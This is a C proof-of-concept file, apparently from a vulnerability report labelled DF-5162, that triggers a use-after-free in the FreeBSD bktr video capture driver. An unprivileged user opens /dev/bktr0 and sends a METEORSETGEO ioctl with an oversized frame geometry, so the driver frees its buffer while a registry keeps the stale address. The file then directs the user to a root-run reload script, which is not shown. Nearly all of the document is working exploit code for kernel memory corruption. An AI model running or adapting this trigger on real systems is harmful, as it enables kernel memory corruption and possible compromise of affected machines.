DF-5162 / grow_stale.c
/* * DF-5162 — unprivileged half of the trigger. * * Opens /dev/bktr0 (mode 0444 — world-readable, ioctls allowed) and issues * METEORSETGEO with a geometry whose computed frame size exceeds the * attach-time allocation (BROOKTREE_ALLOC = 217*4 pages), forcing the grow * path at bktr_core.c:1655-1675 to: * * buf = get_bktr_mem(unit, temp*PAGE_SIZE); // new buffer * kmem_free(kernel_map, bktr->bigbuf, ...); // OLD buffer freed * bktr->bigbuf = buf; * * without updating the bktr_mem registry (bktr_store_address is NOT called * after the grow), so memory_list[unit].buf still holds the FREED original * KVA while addresses_stored stays 1. * * The root half (reload_stale.sh) then makes the freed pointer be * reinstalled and bzero()ed + DMA'd into after a driver reload. */ #include <sys/ioctl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> /* mirror of sys/dev/video/meteor/ioctl_meteor.h */ struct meteor_geomet { unsigned short rows; unsigned short columns; unsigned short frames; unsigned long oformat; }; #define METEORSETGEO _IOW('x', 3, struct meteor_geomet) #define METEOR_GEO_RGB16 0x0010000 #define METEOR_GEO_RGB24 0x0020000 #define METEOR_GEO_YUV_422 0x4000000 int main(void) { struct meteor_geomet geo; int fd, error; fd = open("/dev/bktr0", O_RDONLY); if (fd < 0) { printf("open(/dev/bktr0): %s\n", strerror(errno)); printf("=> no bktr device on this machine; cannot plant stale " "registry entry (hardware-gated)\n"); return (1); } /* * Default alloc: 217*4 = 868 pages (BROOKTREE_ALLOC_PAGES). * rows=480 cols=640 frames=1 RGB16 -> 480*640*1*2 = 614400 bytes * = 150 pages (no grow). * Grow case: rows=1024 cols=1024 frames=2 RGB16 * -> 1024*1024*2*2 = 4194304 + PAGE_SIZE = 1025+1 pages > 868 * -> grow path taken, old 868-page buffer kmem_free()d, and the * bktr_mem registry entry for BKTR_MEM_BUF left dangling. */ memset(&geo, 0, sizeof(geo)); geo.rows = 1024; /* even, <= 0x7fe */ geo.columns = 1024; /* even, <= 0x3fe */ geo.frames = 2; /* <= 32 */ geo.oformat = METEOR_GEO_RGB16; error = ioctl(fd, METEORSETGEO, &geo); if (error < 0) { printf("METEORSETGEO: %s\n", strerror(errno)); return (1); } printf("grow ioctl accepted; bktr_mem registry now holds a FREED " "BKTR_MEM_BUF for unit 0\n"); printf("now run (as root): ./reload_stale.sh\n"); return (0); } |